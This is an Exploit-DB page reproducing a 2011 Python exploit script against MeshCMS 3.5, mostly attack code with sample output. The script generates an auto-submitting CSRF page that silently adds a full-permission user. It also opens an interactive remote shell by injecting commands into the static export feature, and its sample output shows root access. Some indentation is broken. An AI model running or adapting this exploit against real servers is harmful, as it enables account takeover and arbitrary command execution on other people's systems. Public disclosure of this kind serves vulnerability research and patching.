MeshCMS 3.5 – Remote Code Execution

  • 作者: mr_me
    日期: 2011-01-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15997/
  • #!/usr/bin/python
    # MeshCMS v3.5 remote code execution exploit
    # Environment:
    # Tomcat 7.02/ubuntu 10.04
    #
    # 1) details:
    # There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. 
    # The admin will not be told a user has been added and will land into the admin console without any other suspicion. 
    # Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the 
    # private/[username].xml config file required for the users authentication.
    #
    # 2) details:
    # The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. 
    # This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
    #
    # Further notes:
    # If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
    # This exploit will attempt to target both 1) and 2).
    #
    # Usage:
    # [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
    #
    #	| ------------------------------------------ |
    #	| MeshCMS v3.5 Remote Code Execution Explo!t |
    #	| by mr_me - net-ninja.net ----------------- |
    # 
    # (+) Writing CSRF..
    # (!) Done! check index.html
    # [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member 
    #
    #	| ------------------------------------------ |
    # 	| MeshCMS v3.5 Remote Code Execution Explo!t |
    #	| by mr_me - net-ninja.net ----------------- |
    #
    # (+) Testing proxy @ localhost:8080.. proxy is found to be working!
    # (+) Logging into CMS.. Logged in successfully
    # (+) Be patient, the first few requests are slow.
    # (+) Entering interactive remote console (q for quit)
    # 
    # mr_me@192.168.1.15:8080# id
    # 
    # uid=0(root) gid=0(root) groups=0(root)
    # 
    # mr_me@192.168.1.15:8080# uname -a
    # 
    # Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
    # 
    # mr_me@192.168.1.15:8080# q
    
    import sys, urllib, re, urllib2, getpass
    from optparse import OptionParser
    from random import choice
    from cookielib import CookieJar
    
    usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
    usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
    usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"
    
    parser = OptionParser(usage=usage)
    parser.add_option("-p", type="string",action="store", dest="proxy",
    help="HTTP Proxy <server:port>")
    parser.add_option("-t", type="string", action="store", dest="target",
    help="The Target server <server:port>")
    parser.add_option("-d", type="string", action="store", dest="dirPath",
    help="Directory path to the CMS")
    parser.add_option("-u", type="string", action="store", dest="username",
    help="Member/Editor/Admin username")
    parser.add_option("-P", type="string", action="store", dest="password",
    help="Member/Editor/Admin password")
    parser.add_option("-c", action="store_true", dest="csrf",
    help="Create the add member CSRF")
    parser.add_option("-e", action="store_true", dest="exploit",
    help="Exploit the target with a shell (requires a valid account)")
    
    (options, args) = parser.parse_args()
    
    def banner():
    print "\n\t| ------------------------------------------ |"
    print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net ----------------- |\n"
    
    if len(sys.argv) < 9:
    	banner()
    	parser.print_help()
    	sys.exit(1)
    
    agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
    "Microsoft Internet Explorer/4.0b1 (Windows 95)",
    "Opera/8.00 (Windows NT 5.1; U; en)"]
    
    def getProxy():
    try:
    proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
    print "\n(-) Proxy timed out"
    sys.exit(1)
    return proxy_handler
    	
    def testProxy():
    	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
    	sys.stdout.flush()
    	opener = urllib2.build_opener(getProxy())
    	try:
    		check = opener.open("http://www.google.com").read()
    	except:
    		check = 0
    		pass
    	if check >= 1:
    		sys.stdout.write("proxy is found to be working!\n")
    		sys.stdout.flush()
    	else:
    		print "proxy failed, exiting.."
    		sys.exit(1)
    
    def writeCsrf():
    	print "(+) Writing CSRF.."
    	csrf = ("<html><body onload='document.f.submit()'>"
    	"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
    	"<input type=\"hidden\" name=\"new\" value=\"true\">"
    	"<input type=\"hidden\" name=\"username\" value=\"%s\">"
    	"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
    	"<input type=\"hidden\" name=\"password1\" value=\"%s\">"
    	"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" % 
    	(options.target, options.dirPath, options.username, options.password, options.password))
    	try:
    		mycsrf = open("index.html", "w")
    		mycsrf.write(csrf)
    		mycsrf.close()
    	except:
    		print "(-) Failed writing csrf.. exiting."
    	print "(!) Done! check index.html"
    
    def interactiveAttack(opener):
    	print "(+) Be patient, the first few requests are slow."
    print "(+) Entering interactive remote console (q for quit)\n"
    hn = "%s@%s# " % (getpass.getuser(), options.target)
    cmd = ""
    while cmd != 'q':
    try:
    			cmd = raw_input(hn)
    			cmd = '+'.join(cmd.split())
    			sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
    		"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
    		% (options.target, options.dirPath, options.target, options.dirPath, cmd))
    		try:
    		check = opener.open(sploit).read()
    		except urllib2.HTTPError, error:
    		check = error.read()
    		pass
    
    			try:
    				resp = check.split("standard output:")[1].split("end of standard output")[0]		
    			print resp
    			except:
    				pass
    
    		except:
    			break
    	print "\n(-) Exiting.."
    
    def doLogin():
    	sys.stdout.write("(+) Logging into CMS.. ")
    	sys.stdout.flush()
    	adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
    	values = {'username' : options.username, 'password' : options.password } 
    	data = urllib.urlencode(values)
    	cj = CookieJar()
    	if options.proxy:
    		try:
    			opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    			check = opener.open(adminIndex, data).read()
    		except:
    			print "\n(-) Proxy connection failed to remote target"
    			sys.exit(1)
    	else:
    	try:
    			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    			check = opener.open(adminIndex, data).read()
    	except:
    			print "(-) Target connection failed, check your address"
    			sys.exit(1)
    	if re.search("Login successful", check):
    		sys.stdout.write("Logged in successfully\n")
    		sys.stdout.flush()
    	else:
    		sys.stdout.write("Login Failed! Exiting..\n")
    		sys.stdout.flush()
    		sys.exit(1)
    	return opener
    
    if __name__ == "__main__":
    	banner()
    	if options.exploit:
    		if options.proxy:
    			testProxy()
    		myopener = doLogin()
    		interactiveAttack(myopener)
    	elif options.csrf:
    		writeCsrf()
    		addadmin = ""